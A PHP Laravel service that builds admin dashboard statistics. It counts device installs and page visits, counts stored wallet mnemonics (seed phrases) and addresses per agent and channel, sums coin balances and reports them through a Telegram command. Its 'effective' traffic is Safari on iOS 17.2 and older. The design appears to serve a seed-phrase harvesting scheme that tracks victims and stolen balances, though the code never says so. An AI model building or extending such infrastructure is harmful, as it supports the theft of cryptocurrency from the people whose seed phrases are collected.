<?php

namespace App\Services;

use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;

class DashboardStatsService
{
    /**
     * @param  array{
     *   range?: string,
     *   date_from?: string,
     *   date_to?: string,
     *   date_range?: string,
     *   channel_id?: string,
     *   channel_exact?: bool,
     *   agent_user_id?: ?int,
     *   agent?: ?User
     * }  $filters
     * @return array{
     *   total: int,
     *   wallet_count: int,
     *   new_count: int,
     *   active_count: int,
     *   pv: int,
     *   uv: int,
     *   effective_pv: int,
     *   effective_uv: int,
     *   mnemonic_count: int,
     *   address_count: int,
     *   balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
     *   by_os: list<array{label: string, uv: int, pct: float}>,
     *   by_ios_version: list<array{label: string, uv: int, pct: float}>,
     *   by_device_ios_version: list<array{label: string, count: int, pct: float}>,
     *   range: string,
     *   from: string,
     *   to: string
     * }
     */
    public function collect(array $filters = []): array
    {
        [$from, $to] = $this->resolveBounds($filters);
        $rangeLabel = $from->toDateString().' ~ '.$to->toDateString();

        $channelId = trim((string) ($filters['channel_id'] ?? ''));
        $channelExact = (bool) ($filters['channel_exact'] ?? false);
        $agent = $filters['agent'] ?? null;
        $agentUserId = array_key_exists('agent_user_id', $filters)
            ? $filters['agent_user_id']
            : null;
        $agentUserId = $agentUserId === null ? null : (int) $agentUserId;

        $base = Device::query();
        AgentScope::applyDeviceChannelScope($base, $agent);
        if ($agent === null) {
            AgentScope::applyAgentUserFilter($base, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $base->where('channel_id', $channelId);
            } else {
                $base->where('channel_id', 'like', '%'.$channelId.'%');
            }
        }

        // Period cohort: devices installed (created) in the selected range.
        $createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
        $total = (clone $createdInRange)->count();
        $walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
        $newCount = $total;
        $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();

        $mnemonicCount = $this->countDeviceChildren(
            WalletMnemonic::query(),
            'wallet_mnemonics',
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
            $from,
            $to,
        );
        $addressCount = $this->countDeviceChildren(
            WalletAddress::query(),
            'wallet_addresses',
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
            $from,
            $to,
        );
        $balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);

        $visits = PageVisit::query();
        AgentScope::applyChannelIdScope($visits, $agent);
        if ($agent === null) {
            AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $visits->where('channel_id', $channelId);
            } else {
                $visits->where('channel_id', 'like', '%'.$channelId.'%');
            }
        }
        $visits->whereBetween('created_at', [$from, $to]);

        $pv = (clone $visits)->count();
        $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
        $effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
        $effectivePv = (clone $effectiveVisits)->count();
        $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');

        $iosVisits = (clone $visits)->where('os', 'iOS');
        $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');

        $otherVisits = (clone $visits)->where(function (Builder $q) {
            $q->whereNull('os')->orWhere('os', '!=', 'iOS');
        });
        $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');

        $byOs = [
            $this->visitRow('iOS', $iosUv, $uv),
            $this->visitRow('其他', $otherUv, $uv),
        ];

        $versionGroups = (clone $iosVisits)
            ->select('os_version')
            ->selectRaw('COUNT(DISTINCT client_uid) as uv')
            ->groupBy('os_version')
            ->orderByDesc('uv')
            ->limit(20)
            ->get();
        // Denominator = sum of per-version UVs (not global DISTINCT).
        // Same visitor may appear under multiple versions; using DISTINCT total would
        // make every overlapping bucket show ~100%.
        $versionUvSum = (int) $versionGroups->sum('uv');
        $byIosVersion = $versionGroups
            ->map(fn ($r) => $this->visitRow(
                ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
                (int) $r->uv,
                $versionUvSum > 0 ? $versionUvSum : $iosUv,
            ))
            ->values()
            ->all();

        $byDeviceIosVersion = (clone $createdInRange)
            ->select('ios_version')
            ->selectRaw('COUNT(*) as cnt')
            ->groupBy('ios_version')
            ->orderByDesc('cnt')
            ->limit(20)
            ->get()
            ->map(function ($r) use ($total) {
                $label = trim((string) ($r->ios_version ?? ''));

                return $this->deviceRow(
                    $label !== '' ? $label : '未知',
                    (int) $r->cnt,
                    $total,
                );
            })
            ->values()
            ->all();

        return [
            'total' => $total,
            'wallet_count' => $walletCount,
            'new_count' => $newCount,
            'active_count' => $activeCount,
            'pv' => $pv,
            'uv' => $uv,
            'effective_pv' => $effectivePv,
            'effective_uv' => $effectiveUv,
            'mnemonic_count' => $mnemonicCount,
            'address_count' => $addressCount,
            'balances' => $balances,
            'by_os' => $byOs,
            'by_ios_version' => $byIosVersion,
            'by_device_ios_version' => $byDeviceIosVersion,
            'range' => $rangeLabel,
            'from' => $from->toDateTimeString(),
            'to' => $to->toDateTimeString(),
            'date_from' => $from->toDateString(),
            'date_to' => $to->toDateString(),
        ];
    }

    /**
     * @param  array{range?: string, date_from?: string, date_to?: string, date_range?: string}  $filters
     * @return array{0: Carbon, 1: Carbon}
     */
    public function resolveBounds(array $filters): array
    {
        $fromRaw = trim((string) ($filters['date_from'] ?? ''));
        $toRaw = trim((string) ($filters['date_to'] ?? ''));
        $rangeField = trim((string) ($filters['date_range'] ?? ''));

        if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') {
            if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)
                || preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) {
                $fromRaw = $m[1];
                $toRaw = $m[2];
            }
        }

        if ($fromRaw !== '' && $toRaw !== '') {
            try {
                $from = Carbon::parse($fromRaw)->startOfDay();
                $to = Carbon::parse($toRaw)->endOfDay();
            } catch (\Throwable) {
                return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
            }
            if ($from->gt($to)) {
                [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
            }

            return [$from, $to];
        }

        return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
    }

    /**
     * Join a device-child table and apply the same channel / agent scope as device totals.
     */
    private function scopedDeviceChildren(
        Builder $query,
        string $table,
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
    ): Builder {
        $query->join('devices', 'devices.id', '=', $table.'.device_id');
        AgentScope::applyDeviceChannelScope($query, $agent);
        if ($agent === null) {
            AgentScope::applyAgentUserFilter($query, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $query->where('devices.channel_id', $channelId);
            } else {
                $query->where('devices.channel_id', 'like', '%'.$channelId.'%');
            }
        }

        return $query;
    }

    private function countDeviceChildren(
        Builder $query,
        string $table,
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
        Carbon $from,
        Carbon $to,
    ): int {
        return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
            ->whereBetween($table.'.created_at', [$from, $to])
            ->count($table.'.id');
    }

    /**
     * Sum coin columns for addresses created in the selected range.
     *
     * @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
     */
    private function sumBalances(
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
        Carbon $from,
        Carbon $to,
    ): array {
        $q = $this->scopedDeviceChildren(
            WalletAddress::query(),
            'wallet_addresses',
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
        )->whereBetween('wallet_addresses.created_at', [$from, $to]);

        $selects = [];
        foreach (WalletAddress::COIN_COLUMNS as $col) {
            $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
        }
        $row = $q->selectRaw(implode(', ', $selects))->first();

        $out = [];
        foreach (WalletAddress::COIN_COLUMNS as $col) {
            $raw = $row?->{$col} ?? 0;
            $formatted = WalletAddress::formatAmount($col, $raw);
            $out[$col] = $formatted === '' ? '0' : $formatted;
        }

        /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
        return $out;
    }

    /**
     * Map telegram /data day token to dashboard range key.
     * Empty / omitted → today.
     */
    public function rangeFromDays(?string $days): string
    {
        $days = $days === null ? '' : trim($days);
        if ($days === '' || $days === '1') {
            return 'today';
        }

        return match ($days) {
            '7' => '7d',
            '30' => '30d',
            default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
        };
    }

    /**
     * @return array{0: Carbon, 1: Carbon}
     */
    public function rangeBounds(string $range): array
    {
        $now = Carbon::now();

        return match ($range) {
            'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
            'yesterday' => [
                $now->copy()->subDay()->startOfDay(),
                $now->copy()->subDay()->endOfDay(),
            ],
            '7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
            default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
        };
    }

    /**
     * Effective traffic: Safari on iOS ≤ 17.2 (includes 17.2.x patch builds; excludes 17.3+).
     */
    private function applyEffectiveFilter(Builder $query): void
    {
        $query->where('os', 'iOS')
            ->where('browser', 'Safari')
            ->whereNotNull('os_version')
            ->where('os_version', '!=', '');

        $driver = DB::connection()->getDriverName();
        if ($driver === 'sqlite') {
            // major < 17 OR (major = 17 AND minor ≤ 2)
            $query->whereRaw(
                "(CAST(os_version AS INTEGER) < 17)
                 OR (
                   CAST(os_version AS INTEGER) = 17
                   AND CAST(
                     CASE
                       WHEN INSTR(os_version, '.') > 0
                       THEN SUBSTR(os_version, INSTR(os_version, '.') + 1)
                       ELSE '0'
                     END AS INTEGER
                   ) <= 2
                 )"
            );
        } else {
            $query->whereRaw(
                "(CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) < 17)
                 OR (
                   CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) = 17
                   AND CAST(
                     SUBSTRING_INDEX(SUBSTRING_INDEX(CONCAT(os_version, '.0'), '.', 2), '.', -1) AS UNSIGNED
                   ) <= 2
                 )"
            );
        }
    }

    /**
     * Visit breakdown row. pct = uv / $totalUv (UV share).
     *
     * @return array{label: string, uv: int, pct: float}
     */
    private function visitRow(string $label, int $uv, int $totalUv): array
    {
        $pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;

        return [
            'label' => $label,
            'uv' => $uv,
            'pct' => $pct,
        ];
    }

    /**
     * @return array{label: string, count: int, pct: float}
     */
    private function deviceRow(string $label, int $count, int $total): array
    {
        $pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;

        return [
            'label' => $label,
            'count' => $count,
            'pct' => $pct,
        ];
    }
}